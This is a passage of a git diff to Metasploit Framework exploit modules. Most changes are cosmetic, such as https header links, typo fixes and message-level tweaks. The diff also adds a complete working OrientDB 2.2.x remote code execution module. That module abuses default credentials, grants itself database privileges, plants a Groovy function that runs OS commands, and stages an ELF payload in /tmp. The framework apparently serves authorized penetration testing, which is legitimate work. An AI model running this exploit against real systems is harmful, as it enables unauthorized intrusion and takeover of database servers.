       sleep(datastore['SLEEP'])
     else
diff --git a/modules/exploits/multi/http/oracle_ats_file_upload.rb b/modules/exploits/multi/http/oracle_ats_file_upload.rb
index 73c7ddc001..4c9f7f8c41 100644
--- a/modules/exploits/multi/http/oracle_ats_file_upload.rb
+++ b/modules/exploits/multi/http/oracle_ats_file_upload.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Exploit::Remote
-
   Rank = ExcellentRanking
 
   include Msf::Exploit::Remote::HttpClient
@@ -111,5 +110,4 @@ class MetasploitModule < Msf::Exploit::Remote
   def jsp_path
     jsp_directory + "#{target['Platform'] == 'win' ? '\\' : '/'}" + jsp_filename
   end
-
 end
diff --git a/modules/exploits/multi/http/oracle_reports_rce.rb b/modules/exploits/multi/http/oracle_reports_rce.rb
index 7b965bf232..77614ef7c2 100644
--- a/modules/exploits/multi/http/oracle_reports_rce.rb
+++ b/modules/exploits/multi/http/oracle_reports_rce.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -23,7 +23,7 @@ class MetasploitModule < Msf::Exploit::Remote
       used to write a shell from a remote url to a known local path disclosed from the previous
       vulnerability.
 
-      The local path being accessable from an URL allows an attacker to perform the remote code
+      The local path being accessible from an URL allows an attacker to perform the remote code
       execution using, for example, a .jsp shell.
 
       This module was tested successfully on Windows and Oracle Forms and Reports 10.1.
@@ -136,7 +136,7 @@ class MetasploitModule < Msf::Exploit::Remote
         @local_path = $1
         print_status "Path:  #{@local_path }"
       else
-        print_status "Query failed"
+        print_error "Query failed"
         fail_with(Failure::Unknown, "#{peer} - target is not vulnerable or unreachable")
       end
     else
@@ -192,7 +192,7 @@ class MetasploitModule < Msf::Exploit::Remote
     if res and res.code == 200
       print_good "Payload hopefully uploaded!"
     else
-      print_status "Payload upload failed"
+      print_error "Payload upload failed"
     end
   end
 
@@ -262,7 +262,7 @@ class MetasploitModule < Msf::Exploit::Remote
     if res and res.code == 200
        print_good("Payload executed!")
     else
-       print_status("Payload execution failed")
+       print_error("Payload execution failed")
     end
   end
 end
diff --git a/modules/exploits/multi/http/orientdb_exec.rb b/modules/exploits/multi/http/orientdb_exec.rb
new file mode 100644
index 0000000000..c7c4530984
--- /dev/null
+++ b/modules/exploits/multi/http/orientdb_exec.rb
@@ -0,0 +1,257 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Exploit::Remote
+  Rank = GoodRanking
+
+  include Msf::Exploit::Remote::HttpClient
+  include Msf::Exploit::CmdStager
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'           => 'OrientDB 2.2.x Remote Code Execution',
+      'Description'    => %q{
+          This module leverages a privilege escalation on OrientDB to execute unsandboxed OS commands.
+          All versions from 2.2.2 up to 2.2.22 should be vulnerable.
+      },
+      'Author'  =>
+        [
+          'Francis Alexander - Beyond Security\'s SecuriTeam Secure Disclosure program', # Public PoC
+          'Ricardo Jorge Borges de Almeida ricardojba1[at]gmail.com', # Metasploit Module
+        ],
+      'License'        => MSF_LICENSE,
+      'References'     =>
+        [
+          ['URL', 'https://blogs.securiteam.com/index.php/archives/3318'],
+          ['URL', 'http://www.palada.net/index.php/2017/07/13/news-2112/'],
+          ['URL', 'https://github.com/orientechnologies/orientdb/wiki/OrientDB-2.2-Release-Notes#2223---july-11-2017']
+        ],
+      'Platform'  => %w{ linux unix win },
+      'Privileged'  => false,
+      'Targets'   =>
+        [
+          ['Linux',    {'Arch' => ARCH_X86, 'Platform' => 'linux' }],
+          ['Unix CMD', {'Arch' => ARCH_CMD, 'Platform' => 'unix', 'Payload' => {'BadChars' => "\x22"}}],
+          ['Windows',  {'Arch' => ARCH_X86, 'Platform' => 'win', 'CmdStagerFlavor' => ['vbs','certutil']}]
+        ],
+      'DisclosureDate' => 'Jul 13 2017',
+      'DefaultTarget'  => 0))
+
+    register_options(
+      [
+        Opt::RPORT(2480),
+        OptString.new('USERNAME', [ true,  'HTTP Basic Auth User', 'writer' ]),
+        OptString.new('PASSWORD', [ true,  'HTTP Basic Auth Password', 'writer' ]),
+        OptString.new('TARGETURI', [ true,  'The path to the OrientDB application', '/' ])
+      ])
+  end
+
+  def check
+    uri = target_uri
+    uri.path = normalize_uri(uri.path)
+    res = send_request_raw({'uri' => "#{uri.path}listDatabases"})
+    if res and res.code == 200 and res.headers['Server'] =~ /OrientDB Server v\.2\.2\./
+      print_good("Version: #{res.headers['Server']}")
+      return Exploit::CheckCode::Vulnerable
+    else
+      print_status("Version: #{res.headers['Server']}")
+      return Exploit::CheckCode::Safe
+    end
+  end
+
+  def http_send_command(cmd, opts = {})
+    # 1 -Create the malicious function
+    func_name = Rex::Text::rand_text_alpha(5).downcase
+    request_parameters = {
+      'method'    => 'POST',
+      'uri'       => normalize_uri(@uri.path, "/document/#{opts}/-1:-1"),
+      'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
+      'headers' => { 'Accept' => '*/*', 'Content-Type' => 'application/json;charset=UTF-8' },
+      'data' => "{\"@class\":\"ofunction\",\"@version\":0,\"@rid\":\"#-1:-1\",\"idempotent\":null,\"name\":\"#{func_name}\",\"language\":\"groovy\",\"code\":\"#{java_craft_runtime_exec(cmd)}\",\"parameters\":null}"
+    }
+    res = send_request_raw(request_parameters)
+    if not (res and res.code == 201)
+      begin
+        json_body = JSON.parse(res.body)
+      rescue JSON::ParserError
+        fail_with(Failure::Unknown, 'Failed to create the malicious function.')
+        return
+      end
+    end
+    # 2 - Trigger the malicious function
+    request_parameters = {
+      'method'    => 'POST',
+      'uri'       => normalize_uri(@uri.path, "/function/#{opts}/#{func_name}"),
+      'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
+      'headers' => { 'Accept' => '*/*', 'Content-Type' => 'application/json;charset=UTF-8' },
+      'data' => ""
+    }
+    req = send_request_raw(request_parameters)
+    if not (req and req.code == 200)
+      begin
+        json_body = JSON.parse(res.body)
+      rescue JSON::ParserError
+        fail_with(Failure::Unknown, 'Failed to trigger the malicious function.')
+        return
+      end
+    end
+    # 3 - Get the malicious function id
+    if res && res.body.length > 0
+      begin
+        json_body = JSON.parse(res.body)["@rid"]
+      rescue JSON::ParserError
+        fail_with(Failure::Unknown, 'Failed to obtain the malicious function id for deletion.')
+        return
+      end
+    end
+    func_id = json_body.slice(1..-1)
+    # 4 - Delete the malicious function
+    request_parameters = {
+      'method'    => 'DELETE',
+      'uri'       => normalize_uri(@uri.path, "/document/#{opts}/#{func_id}"),
+      'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
+      'headers' => { 'Accept' => '*/*' },
+      'data' => ""
+    }
+    rer = send_request_raw(request_parameters)
+    if not (rer and rer.code == 204)
+      begin
+        json_body = JSON.parse(res.body)
+      rescue JSON::ParserError
+        fail_with(Failure::Unknown, 'Failed to delete the malicious function.')
+        return
+      end
+    end
+  end
+
+  def java_craft_runtime_exec(cmd)
+    decoder = Rex::Text.rand_text_alpha(5, 8)
+    decoded_bytes = Rex::Text.rand_text_alpha(5, 8)
+    cmd_array = Rex::Text.rand_text_alpha(5, 8)
+    jcode =  "sun.misc.BASE64Decoder #{decoder} = new sun.misc.BASE64Decoder();\n"
+    jcode << "byte[] #{decoded_bytes} = #{decoder}.decodeBuffer(\"#{Rex::Text.encode_base64(cmd)}\");\n"
+    jcode << "String [] #{cmd_array} = new String[3];\n"
+    if target['Platform'] == 'win'
+      jcode << "#{cmd_array}[0] = \"cmd.exe\";\n"
+      jcode << "#{cmd_array}[1] = \"/c\";\n"
+    else
+      jcode << "#{cmd_array}[0] = \"/bin/sh\";\n"
+      jcode << "#{cmd_array}[1] = \"-c\";\n"
+    end
+    jcode << "#{cmd_array}[2] = new String(#{decoded_bytes}, \"UTF-8\");\n"
+    jcode << "Runtime.getRuntime().exec(#{cmd_array});\n"
+    jcode
+  end
+
+  def on_new_session(client)
+    if not @to_delete.nil?
+      print_warning("Deleting #{@to_delete} payload file")
+      execute_command("rm #{@to_delete}")
+    end
+  end
+
+  def execute_command(cmd, opts = {})
+    vprint_status("Attempting to execute: #{cmd}")
+    @uri = target_uri
+    @uri.path = normalize_uri(@uri.path)
+    res = send_request_raw({'uri' => "#{@uri.path}listDatabases"})
+    if res && res.code == 200 && res.body.length > 0
+      begin
+        json_body = JSON.parse(res.body)["databases"]
+      rescue JSON::ParserError
+        print_error("Unable to parse JSON")
+        return
+      end
+    else
+      print_error("Timeout or unexpected response...")
+      return
+    end
+    targetdb = json_body[0]
+    http_send_command(cmd,targetdb)
+  end
+
+  def linux_stager
+    cmds = "echo LINE | tee FILE"
+    exe = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
+    base64 = Rex::Text.encode_base64(exe)
+    base64.gsub!(/\=/, "\\u003d")
+    file = rand_text_alphanumeric(4+rand(4))
+    execute_command("touch /tmp/#{file}.b64")
+    cmds.gsub!(/FILE/, "/tmp/" + file + ".b64")
+    base64.each_line do |line|
+      line.chomp!
+      cmd = cmds
+      cmd.gsub!(/LINE/, line)
+      execute_command(cmds)
+    end
+    execute_command("base64 -d /tmp/#{file}.b64|tee /tmp/#{file}")
+    execute_command("chmod +x /tmp/#{file}")
+    execute_command("rm /tmp/#{file}.b64")
+    execute_command("/tmp/#{file}")
+    @to_delete = "/tmp/#{file}"
+  end
+
+  def exploit
+    @uri = target_uri
+    @uri.path = normalize_uri(@uri.path)
+    res = send_request_raw({'uri' => "#{@uri.path}listDatabases"})
+    if res && res.code == 200 && res.body.length > 0
+      begin
+        json_body = JSON.parse(res.body)["databases"]
+      rescue JSON::ParserError
+        print_error("Unable to parse JSON")
+        return
+      end
+    else
+      print_error("Timeout or unexpected response...")
+      return
+    end
+    targetdb = json_body[0]
+    privs_enable = ['create','read','update','execute','delete']
+    items = ['database.class.ouser','database.function','database.systemclusters']
+    # Set the required DB permissions
+    privs_enable.each do |priv|
+      items.each do |item|
+       request_parameters = {
+        'method'    => 'POST',
+        'uri'       => normalize_uri(@uri.path, "/command/#{targetdb}/sql/-/20"),
+        'vars_get' => { 'format' => 'rid,type,version,class,graph' },
+        'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
+        'headers' => { 'Accept' => '*/*' },
+        'data' => "GRANT #{priv} ON #{item} TO writer"
+       }
+       res = send_request_raw(request_parameters)
+      end
+    end
+    # Exploit
+    case target['Platform']
+    when 'win'
+      print_status("#{rhost}:#{rport} - Sending command stager...")
+      execute_cmdstager(flavor: :vbs)
+    when 'unix'
+      print_status("#{rhost}:#{rport} - Sending payload...")
+      res = http_send_command("#{payload.encoded}","#{targetdb}")
+    when 'linux'
+      print_status("#{rhost}:#{rport} - Sending Linux stager...")
+      linux_stager
+    end
+    handler
+    # Final Cleanup
+    privs_enable.each do |priv|
+      items.each do |item|
+       request_parameters = {
+        'method'    => 'POST',
+        'uri'       => normalize_uri(@uri.path, "/command/#{targetdb}/sql/-/20"),
+        'vars_get' => { 'format' => 'rid,type,version,class,graph' },
+        'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
+        'headers' => { 'Accept' => '*/*' },
+        'data' => "REVOKE #{priv} ON #{item} FROM writer"
+       }
+       res = send_request_raw(request_parameters)
+      end
+    end
+   end
+end
+
diff --git a/modules/exploits/multi/http/pandora_upload_exec.rb b/modules/exploits/multi/http/pandora_upload_exec.rb
index c664ab9478..4c1f7b64a1 100644
--- a/modules/exploits/multi/http/pandora_upload_exec.rb
+++ b/modules/exploits/multi/http/pandora_upload_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -127,7 +127,7 @@ class MetasploitModule < Msf::Exploit::Remote
     if res and res.code == 200
       if res.body.include?("Logout")
         cookies = res.get_cookies
-        print_status("Login Bypass Successful")
+        print_good("Login Bypass Successful")
         print_status("cookie monster = " + cookies)
       else
         fail_with(Failure::NotVulnerable, "Login Bypass Failed")
diff --git a/modules/exploits/multi/http/phoenix_exec.rb b/modules/exploits/multi/http/phoenix_exec.rb
index 6d89bce8d2..409e2fb68f 100644
--- a/modules/exploits/multi/http/phoenix_exec.rb
+++ b/modules/exploits/multi/http/phoenix_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/multi/http/php_cgi_arg_injection.rb b/modules/exploits/multi/http/php_cgi_arg_injection.rb
index b9e31e6c39..f035db2a55 100644
--- a/modules/exploits/multi/http/php_cgi_arg_injection.rb
+++ b/modules/exploits/multi/http/php_cgi_arg_injection.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -114,7 +114,6 @@ class MetasploitModule < Msf::Exploit::Remote
         create_arg("-d","auto_prepend_file=php://input"),
         create_arg("-d", "cgi.force_redirect=#{rand_php_ini_false}"),
         create_arg("-d", "cgi.redirect_status_env=0"),
-        create_arg("-d", "suhosin.simulation=#{rand_php_ini_true}"),
         rand_opt_equiv("-n")
       ]
 
@@ -224,5 +223,4 @@ class MetasploitModule < Msf::Exploit::Remote
   def rand_php_ini_true
     Rex::Text.to_rand_case([ "1", "on", "true" ][rand(3)])
   end
-
 end
diff --git a/modules/exploits/multi/http/php_utility_belt_rce.rb b/modules/exploits/multi/http/php_utility_belt_rce.rb
index 7a7cd15610..eded4838bd 100644
--- a/modules/exploits/multi/http/php_utility_belt_rce.rb
+++ b/modules/exploits/multi/http/php_utility_belt_rce.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Exploit::Remote
-
   Rank = ExcellentRanking
 
   include Msf::Exploit::Remote::HttpClient
@@ -75,5 +74,4 @@ class MetasploitModule < Msf::Exploit::Remote
       }
     )
   end
-
 end
diff --git a/modules/exploits/multi/http/php_volunteer_upload_exec.rb b/modules/exploits/multi/http/php_volunteer_upload_exec.rb
index 3d4efe3168..22afd91ed5 100644
--- a/modules/exploits/multi/http/php_volunteer_upload_exec.rb
+++ b/modules/exploits/multi/http/php_volunteer_upload_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -196,7 +196,7 @@ class MetasploitModule < Msf::Exploit::Remote
       return
     end
 
-    print_status("Login successful with #{username}:#{password}")
+    print_good("Login Successful (#{username}:#{password})")
 
     # Take a snapshot of the uploads directory
     # Viewing this doesn't actually require the user to login first,
@@ -231,7 +231,7 @@ class MetasploitModule < Msf::Exploit::Remote
     # Find the filename of our uploaded shell
     files = get_my_file(before.body, after.body)
     if files.empty?
-      print_error("No new file(s) found. The upload probably failed.")
+      print_error("No new file(s) found. The upload probably failed")
       return
     else
       vprint_status("Found these new files: #{files.inspect}")
diff --git a/modules/exploits/multi/http/phpfilemanager_rce.rb b/modules/exploits/multi/http/phpfilemanager_rce.rb
index 46a0402c72..2c97d518c2 100644
--- a/modules/exploits/multi/http/phpfilemanager_rce.rb
+++ b/modules/exploits/multi/http/phpfilemanager_rce.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/multi/http/phpldapadmin_query_engine.rb b/modules/exploits/multi/http/phpldapadmin_query_engine.rb
index f031e1e34b..b942f1dcd4 100644
--- a/modules/exploits/multi/http/phpldapadmin_query_engine.rb
+++ b/modules/exploits/multi/http/phpldapadmin_query_engine.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -122,5 +122,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     print_status("%s" % res.body) if datastore['CMD']
   end
-
 end
diff --git a/modules/exploits/multi/http/phpmailer_arg_injection.rb b/modules/exploits/multi/http/phpmailer_arg_injection.rb
index fe5e6d2e99..c56f4c86fd 100644
--- a/modules/exploits/multi/http/phpmailer_arg_injection.rb
+++ b/modules/exploits/multi/http/phpmailer_arg_injection.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -68,7 +68,7 @@ class MetasploitModule < Msf::Exploit::Remote
     while wait_time > 0
       sleep(sleep_time)
       wait_time -= sleep_time
-      res = send_request_cgi(
+      res = send_request_cgi!(
         'method'   => 'GET',
         'uri'      => trigger_uri
       )
diff --git a/modules/exploits/multi/http/phpmoadmin_exec.rb b/modules/exploits/multi/http/phpmoadmin_exec.rb
index 169965db37..3416ddc5db 100644
--- a/modules/exploits/multi/http/phpmoadmin_exec.rb
+++ b/modules/exploits/multi/http/phpmoadmin_exec.rb
@@ -1,11 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 class MetasploitModule < Msf::Exploit::Remote
-
   Rank = ExcellentRanking
 
   include Msf::Exploit::Remote::HttpClient
diff --git a/modules/exploits/multi/http/phpmyadmin_3522_backdoor.rb b/modules/exploits/multi/http/phpmyadmin_3522_backdoor.rb
index 82cf6f3d9c..95214958de 100644
--- a/modules/exploits/multi/http/phpmyadmin_3522_backdoor.rb
+++ b/modules/exploits/multi/http/phpmyadmin_3522_backdoor.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/multi/http/phpmyadmin_preg_replace.rb b/modules/exploits/multi/http/phpmyadmin_preg_replace.rb
index f4c6e614b8..d829cb4eac 100644
--- a/modules/exploits/multi/http/phpmyadmin_preg_replace.rb
+++ b/modules/exploits/multi/http/phpmyadmin_preg_replace.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -161,7 +161,7 @@ class MetasploitModule < Msf::Exploit::Remote
     })
 
     if login_check.body =~ /Welcome to/
-      fail_with(Failure::NoAccess, "Authentication failed.")
+      fail_with(Failure::NoAccess, "Authentication failed")
     else
       print_good("Authentication successful")
     end
diff --git a/modules/exploits/multi/http/phpscheduleit_start_date.rb b/modules/exploits/multi/http/phpscheduleit_start_date.rb
index 98dd43476d..57bb941376 100644
--- a/modules/exploits/multi/http/phpscheduleit_start_date.rb
+++ b/modules/exploits/multi/http/phpscheduleit_start_date.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/multi/http/phptax_exec.rb b/modules/exploits/multi/http/phptax_exec.rb
index 6fbe7f3cba..d8ea1aae0c 100644
--- a/modules/exploits/multi/http/phptax_exec.rb
+++ b/modules/exploits/multi/http/phptax_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -14,7 +14,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Description'    => %q{
           This module exploits a vulnerability found in PhpTax, an income tax report
         generator.  When generating a PDF, the icondrawpng() function in drawimage.php
-        does not properly handle the pfilez parameter, which will be used in a exec()
+        does not properly handle the pfilez parameter, which will be used in an exec()
         statement, and then results in arbitrary remote code execution under the context
         of the web server.  Please note: authentication is not required to exploit this
         vulnerability.
diff --git a/modules/exploits/multi/http/phpwiki_ploticus_exec.rb b/modules/exploits/multi/http/phpwiki_ploticus_exec.rb
index 6f21dca949..69103b46b1 100644
--- a/modules/exploits/multi/http/phpwiki_ploticus_exec.rb
+++ b/modules/exploits/multi/http/phpwiki_ploticus_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/multi/http/plone_popen2.rb b/modules/exploits/multi/http/plone_popen2.rb
index 034c68e84e..8a2d5c5c39 100644
--- a/modules/exploits/multi/http/plone_popen2.rb
+++ b/modules/exploits/multi/http/plone_popen2.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/multi/http/pmwiki_pagelist.rb b/modules/exploits/multi/http/pmwiki_pagelist.rb
index eb4c5030dd..ec7ca7c68d 100644
--- a/modules/exploits/multi/http/pmwiki_pagelist.rb
+++ b/modules/exploits/multi/http/pmwiki_pagelist.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/multi/http/polarcms_upload_exec.rb b/modules/exploits/multi/http/polarcms_upload_exec.rb
index cca7b10974..88c9d3987c 100644
--- a/modules/exploits/multi/http/polarcms_upload_exec.rb
+++ b/modules/exploits/multi/http/polarcms_upload_exec.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 class MetasploitModule < Msf::Exploit::Remote
   Rank = ExcellentRanking
 
diff --git a/modules/exploits/multi/http/processmaker_exec.rb b/modules/exploits/multi/http/processmaker_exec.rb
index 7909c071df..c7e1023ab4 100644
--- a/modules/exploits/multi/http/processmaker_exec.rb
+++ b/modules/exploits/multi/http/processmaker_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -49,7 +49,8 @@ class MetasploitModule < Msf::Exploit::Remote
     register_options(
       [
         OptString.new('USERNAME',  [true, 'The username for ProcessMaker', 'admin']),
-        OptString.new('PASSWORD',  [true, 'The password for ProcessMaker', 'admin'])
+        OptString.new('PASSWORD',  [true, 'The password for ProcessMaker', 'admin']),
+        OptString.new('WORKSPACE', [true, 'The ProcessMaker workspace', 'workflow'])
       ])
   end
 
@@ -59,9 +60,9 @@ class MetasploitModule < Msf::Exploit::Remote
   def execute_command(cmd, opts = { :php_function => 'system' } )
     # random vulnerable path # confirmed in versions 2.0.23 to 2.5.1
     vuln_url = [
-      '/sysworkflow/en/neoclassic/appFolder/appFolderAjax.php',
-      '/sysworkflow/en/neoclassic/cases/casesStartPage_Ajax.php',
-      '/sysworkflow/en/neoclassic/cases/cases_SchedulerGetPlugins.php'
+      "/sys#{@workspace}/en/neoclassic/appFolder/appFolderAjax.php",
+      "/sys#{@workspace}/en/neoclassic/cases/casesStartPage_Ajax.php",
+      "/sys#{@workspace}/en/neoclassic/cases/cases_SchedulerGetPlugins.php"
     ].sample
 
     # shuffle POST parameters
@@ -96,7 +97,7 @@ class MetasploitModule < Msf::Exploit::Remote
     begin
       res = send_request_cgi({
         'method'    => 'POST',
-        'uri'       => normalize_uri(target_uri.path, "/sysworkflow/en/neoclassic/login/authentication.php"),
+        'uri'       => normalize_uri(target_uri.path, "/sys#{@workspace}/en/neoclassic/login/authentication.php"),
         'cookie'    => @cookie,
         'vars_post' => vars_post
       })
@@ -117,6 +118,8 @@ class MetasploitModule < Msf::Exploit::Remote
   # Check credentials are valid and confirm command execution
   #
   def check
+    @workspace = datastore['WORKSPACE']
+
     # login
     @cookie = "PHPSESSID=#{rand_text_alphanumeric(rand(10)+10)};"
     unless login(datastore['USERNAME'], datastore['PASSWORD'])
@@ -169,6 +172,8 @@ class MetasploitModule < Msf::Exploit::Remote
   end
 
   def exploit
+    @workspace = datastore['WORKSPACE']
+
     # login
     @cookie = "PHPSESSID=#{rand_text_alphanumeric(rand(10)+10)};"
     unless login(datastore['USERNAME'], datastore['PASSWORD'])
@@ -184,25 +189,3 @@ class MetasploitModule < Msf::Exploit::Remote
     send_request_cgi({'uri' => normalize_uri(target_uri.path, "#{@fname}")})
   end
 end
-
-#
-# Source
-#
-=begin appFolder/appFolderAjax.php
-22:if (($_REQUEST['action']) != 'rename') {
-23:    $functionName = $_REQUEST ['action'];
-24:    $functionParams = isset ($_REQUEST ['params']) ? $_REQUEST ['params'] : array ();
-26:    $functionName ($functionParams);
-=end
-
-=begin cases/casesStartPage_Ajax.php
-16:$functionName = $_REQUEST['action'];
-18:$functionParams = isset( $_REQUEST['params'] ) ? $_REQUEST['params'] : array ();
-19:$functionName( $functionParams );
-=end
-
-=begin cases/cases_SchedulerGetPlugins.php
-16:$functionName = $_REQUEST['action'];
-18:$functionParams = isset( $_REQUEST['params'] ) ? $_REQUEST['params'] : array ();
-19:$functionName( $functionParams );
-=end
diff --git a/modules/exploits/multi/http/qdpm_upload_exec.rb b/modules/exploits/multi/http/qdpm_upload_exec.rb
index 47ccb202a4..78a0e03101 100644
--- a/modules/exploits/multi/http/qdpm_upload_exec.rb
+++ b/modules/exploits/multi/http/qdpm_upload_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/multi/http/rails_actionpack_inline_exec.rb b/modules/exploits/multi/http/rails_actionpack_inline_exec.rb
index ce6e270e14..ef0b7e84c6 100644
--- a/modules/exploits/multi/http/rails_actionpack_inline_exec.rb
+++ b/modules/exploits/multi/http/rails_actionpack_inline_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/multi/http/rails_dynamic_render_code_exec.rb b/modules/exploits/multi/http/rails_dynamic_render_code_exec.rb
index 2c59b6fec9..f7db011374 100644
--- a/modules/exploits/multi/http/rails_dynamic_render_code_exec.rb
+++ b/modules/exploits/multi/http/rails_dynamic_render_code_exec.rb
@@ -1,3 +1,8 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
 class MetasploitModule < Msf::Exploit::Remote
   Rank = ExcellentRanking
 
diff --git a/modules/exploits/multi/http/rails_json_yaml_code_exec.rb b/modules/exploits/multi/http/rails_json_yaml_code_exec.rb
index e5bcc6ee29..ca2059543b 100644
--- a/modules/exploits/multi/http/rails_json_yaml_code_exec.rb
+++ b/modules/exploits/multi/http/rails_json_yaml_code_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/multi/http/rails_secret_deserialization.rb b/modules/exploits/multi/http/rails_secret_deserialization.rb
index 42aae607dc..95923d7e87 100644
--- a/modules/exploits/multi/http/rails_secret_deserialization.rb
+++ b/modules/exploits/multi/http/rails_secret_deserialization.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -271,5 +271,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     handler
   end
-
 end
diff --git a/modules/exploits/multi/http/rails_web_console_v2_code_exec.rb b/modules/exploits/multi/http/rails_web_console_v2_code_exec.rb
index 7cd4f5b7cf..106d0f5eea 100644
--- a/modules/exploits/multi/http/rails_web_console_v2_code_exec.rb
+++ b/modules/exploits/multi/http/rails_web_console_v2_code_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/multi/http/rails_xml_yaml_code_exec.rb b/modules/exploits/multi/http/rails_xml_yaml_code_exec.rb
index 6d663016a8..f482bdc30a 100644
--- a/modules/exploits/multi/http/rails_xml_yaml_code_exec.rb
+++ b/modules/exploits/multi/http/rails_xml_yaml_code_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/multi/http/rocket_servergraph_file_requestor_rce.rb b/modules/exploits/multi/http/rocket_servergraph_file_requestor_rce.rb
